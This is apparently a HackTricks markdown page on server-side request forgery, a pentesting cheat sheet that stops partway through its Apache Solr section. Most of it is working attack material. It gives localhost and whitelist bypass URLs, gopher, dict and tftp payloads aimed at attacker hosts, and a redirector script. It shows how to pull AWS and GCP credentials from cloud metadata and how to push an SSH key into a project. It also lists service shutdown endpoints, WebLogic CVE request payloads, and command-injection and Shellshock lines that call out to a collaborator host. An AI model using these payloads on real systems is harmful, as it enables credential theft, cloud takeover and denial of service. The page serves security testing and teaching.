hacktricks/pentesting-web/ssrf-server-side-request-forgery.md

1193 lines
46 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# SSRF \(Server Side Request Forgery\)
## What is Server Side Request Forgery?
Server-side request forgery \(also known as SSRF\) is a web security vulnerability that allows an attacker to **induce the server-side application to make HTTP requests to an arbitrary domain** of the attacker's choosing. \(From [here](https://portswigger.net/web-security/ssrf)\)
## What you should try to do
* Accessing to **local files** \(file://\)
* Trying to access to **local IP**
* Local **IP bypass**
* **DNS spoofing** \(domains pointing to 127.0.0.1\)
* **DNS Rebinding** \(resolves to an IP and next time to a local IP: [http://rbnd.gl0.eu/dnsbin](http://rbnd.gl0.eu/dnsbin)\). This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again \(as it has to resolve the domain again a different IP can be served by the DNS\). More [info here](https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/).
* Trying to make an **internal assets discovery and internal port scan**.
* Accessing **private content** \(filtered by IP or only accessible locally, like _/admin_ path\).
## Internet Exfiltration Services
You could use **burpcollab** or [**pingb**](http://pingb.in/) ****for example.
## Bypass restrictions
{% embed url="https://tools.intigriti.io/redirector/" %}
### Basic bypass localhost
```bash
## Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
## CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
## Decimal bypass
http://2130706433/ = http://127.0.0.1
http://017700000001 = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
## Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
##Domain FUZZ bypass (from https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt)
http://{domain}@127.0.0.1
http://127.0.0.1#{domain}
http://{domain}.127.0.0.1
http://127.0.0.1/{domain}
http://127.0.0.1/?d={domain}
https://{domain}@127.0.0.1
https://127.0.0.1#{domain}
https://{domain}.127.0.0.1
https://127.0.0.1/{domain}
https://127.0.0.1/?d={domain}
http://{domain}@localhost
http://localhost#{domain}
http://{domain}.localhost
http://localhost/{domain}
http://localhost/?d={domain}
http://127.0.0.1%00{domain}
http://127.0.0.1?{domain}
http://127.0.0.1///{domain}
https://127.0.0.1%00{domain}
https://127.0.0.1?{domain}
https://127.0.0.1///{domain}
```
### Bypass using DNS -> localhost
```bash
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
### Other bypasses
```bash
## Malformed URLs and rare addresses
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
## Tricks
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
filter_var() php function: 0://evil.com:80;http://google.com:80/
## Weakparser
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
```
### [More Domain format Bypasses](open-redirect.md#more-domain-bypasses)
### Bypass domain regexp
[**Go to the proposed bypasses for Referer header in CSRF**](csrf-cross-site-request-forgery.md#referer)\*\*\*\*
### Bypass via redirect
It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
### Bypass via open redirect
If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.
Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## SSRF via Referrer header
Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.
To discover this kind of "hidden" vulnerabilities you could use the plugin "**Collaborator Everywhere**" from Burp.
## Server browser enumeration
You can use applications like [http://webhook.site](http://webhook.site/) to find which browser is being used.
## Exploitation
### [Wget file upload](file-upload/#wget-file-upload-ssrf-trick)
### file://
```text
file:///etc/passwd
```
### dict://
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
```text
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```
### SFTP://
A network protocol used for secure file transfer over secure shell
```text
ssrf.php?url=sftp://evil.com:11111/
```
### TFTP://
Trivial File Transfer Protocol, works over UDP
```text
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
### LDAP://
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
```text
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
### Gopher://
Using this protocol you can specify the **ip, port and bytes** you want the listener to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** \(but you need to know how to talk to the service first\).
Fortunately, you can use [https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) to already create payloads for several services.
#### Gopher smtp
```text
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
#### Gopher HTTP
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
#### Gopher SMTP — Back connect to 1337
{% code title="redirect.php" %}
```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
### SMTP
From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy) ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) on github, find subdomains
4. connect
### SSRF with Command Injection
It might be worth trying a payload like: ``url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami```
### Exploiting PDFs Rendering
If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself \(the server\) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here.**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)\*\*\*\*
### From SSRF to DoS
Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
### Abusing DNS Rebidding + TLS Session ID/Session ticket
Requirements:
* **SSRF**
* **Outbound TLS sessions**
* **Stuff on local ports**
Attack:
1. Ask the user/bot **access** a **domain** controlled by the **attacker**
2. The **TTL** of the **DNS** is **0** sec \(so the victim will check the IP of the domain again soon\)
3. A **TLS connection** is created between the victim and the domain of the attacker. The attacker introduces the **payload inside** the **Session ID or Session Ticket**.
4. The **domain** will start an **infinite loop** of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again** a **DNS request** of the domain.
5. In the DNS request a **private IP** address is given **now** \(127.0.0.1 for example\)
6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send** the **Session** ID/Ticket ID \(where the **payload** of the attacker was contained\). So congratulations you managed to ask the **user/bot attack himself**.
Note that during this attack, if you want to attack localhost:11211 \(_memcache_\) you need to make the victim establish the initial connection with www.attacker.com:11211 \(the **port must always be the same**\).
To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)
For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## Exploitation in Cloud
### Abusing SSRF in AWS EC2 environment
#### 169.254.169.254 - Metadata Address
**Metadata** of the basic virtual machines from AWS \(called EC2\) can be retrieved from the VM accessing the url: `http://169.254.169.254` \([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)\).
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use `Metadata-Flavor: Google` as an HTTP header and refusing requests with an `X-Forwarded-For` header. **AWS has no constraints**.
Sending a GET requests to the following endpoint will **dump a list of roles** that are attached to the current EC2 instance:
```text
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.
Once you get a list of roles attached to the EC2 instance you can **dump their credentials** by making a GET requests to the following URL:
```text
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME_HERE>
```
As an example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
The response should look something like this:
```text
{
"Code" : "Success",
"LastUpdated" : "2019-08-03T20:42:03Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5A6IYGGDLBWIFH5UQ",
"SecretAccessKey" : "sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR",
"Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=",
"Expiration" : "2019-08-04T03:16:50Z"
}
```
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do. If the role has improper permissions set \(Most likely\) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
```text
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Notice the **aws\_session\_token**, this is indispensable for the profile to work.
Information taken from: [http://ghostlulz.com/ssrf-aws-credentials/](http://ghostlulz.com/ssrf-aws-credentials/) \(read that post for further information\).
Another possible interesting place where you can find credentials is in[ http://169.254.169.254/user-data](%20http://169.254.169.254/user-data)
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) ****can be used with the discovered credentials to find out your privileges and try to escalate privileges
### SSRF in AWS ECS \(Container Service\) credentials
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
If you access _**http://169.254.170.2/v2/credentials/&lt;GUID&gt;**_ you will find the credentials of the ECS machine. But first you need to **find the** _**&lt;GUID&gt;**_ . To find the &lt;GUID&gt; you need to read the **environ** variable _**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**_ inside the machine.
You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_
The mentioned http address should give you the **AccessKey, SecretKey and token**.
### SSRF URL for AWS Elastic Beanstalk <a id="6f97"></a>
We retrieve the `accountId` and `region` from the API.
```text
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
```text
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20)![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
### SSRF URL for Google Cloud <a id="6440"></a>
Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”
```text
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```
Google allows recursive pulls
```text
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```
Beta does NOT require a header atm \(thanks Mathias Karlsson @avlidienbrunn\)
```text
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
Interesting files to pull out:
* SSH Public Key : [`http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`](http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json)
* Get Access Token : [`http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`](http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token)
* Kubernetes Key : [`http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`](http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json)
### Add an SSH key <a id="3e24"></a>
Extract the token
```text
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token
```text
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
```text
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### SSRF URL for Digital Ocean <a id="9f1f"></a>
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```text
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
### SSRF URL for Packetcloud <a id="2af0"></a>
Documentation available at [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
### SSRF URL for Azure <a id="cea8"></a>
Limited, maybe more exists? [`https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`](https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/)
[http://169.254.169.254/metadata/v1/maintenance](http://169.254.169.254/metadata/v1/maintenance)
Update Apr 2017, Azure has more support; requires the header “Metadata: true” [`https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service)
```text
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
```
### SSRF URL for OpenStack/RackSpace <a id="2ffc"></a>
\(header required? unknown\)
```text
http://169.254.169.254/openstack
```
### SSRF URL for HP Helion <a id="a8e0"></a>
\(header required? unknown\)
```text
http://169.254.169.254/2009-04-04/meta-data/
```
### SSRF URL for Oracle Cloud <a id="a723"></a>
```text
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```
### SSRF URL for Alibaba <a id="51bd"></a>
```text
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```
### SSRF URL for Kubernetes ETCD <a id="c80a"></a>
Can contain API keys and internal ip and ports
```text
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
```
### SSRF URL for Docker <a id="ac0b"></a>
```text
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
### SSRF URL for Rancher <a id="8cb7"></a>
```text
curl http://rancher-metadata/<version>/<path>
```
## Blind SSRF
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
### Time based SSRF
**Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** \(maybe it takes more time accessing an existing resource than accessing one that doesn't exist\)
## Detect SSRF
You can use [https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff) to create an HTTP server that will respond correctly to a lot of different requests \(GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...\).
* [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap)
* [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus)
## To practice
{% embed url="https://github.com/incredibleindishell/SSRF\_Vulnerable\_Lab" %}
## Vulnerable Platforms
This section was copied from [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
### Elasticsearch <a id="elasticsearch"></a>
**Commonly bound port: 9200**
When Elasticsearch is deployed internally, it usually does not require authentication.
If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:
```text
/_cluster/health
/_cat/indices
/_cat/health
```
If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:
Note: the `_shutdown` API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:
```text
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
```
### Weblogic <a id="weblogic"></a>
**Commonly bound ports: 80, 443 \(SSL\), 7001, 8888**
**SSRF Canary: UDDI Explorer \(CVE-2014-4210\)**
```text
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
This also works via GET:
```text
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
This endpoint is also vulnerable to CRLF injection:
```text
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
```
Will result in the following request:
```text
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
```
**SSRF Canary: CVE-2020-14883**
Taken from [here](https://forum.90sec.com/t/topic/1412).
Linux:
```text
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
Windows:
```text
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
### Hashicorp Consul <a id="hashicorp-consul"></a>
**Commonly bound ports: 8500, 8501 \(SSL\)**
Writeup can be found [here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
### Shellshock <a id="shellshock"></a>
**Commonly bound ports: 80, 443 \(SSL\), 8080**
In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:
Short list of CGI paths to test:
[Gist containing paths](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**SSRF Canary: Shellshock via User Agent**
```text
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
```
### Apache Druid <a id="apache-druid"></a>
**Commonly bound ports: 80, 8080, 8888, 8082**
See the API reference for Apache Druid [here](https://druid.apache.org/docs/latest/operations/api-reference.html).
If you can view the status code, check the following paths to see if they return a 200 status code:
```text
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
```
Shutdown tasks, requires you to guess task IDs or the datasource name:
```text
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
```
Shutdown supervisors on Apache Druid Overlords:
```text
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```
### Apache Solr <a id="apache-solr"></a>
**Commonly bound port: 8983**
**SSRF Canary: Shards Parameter**
Taken from [here](https://github.com/veracode-research/solr-injection).
```text
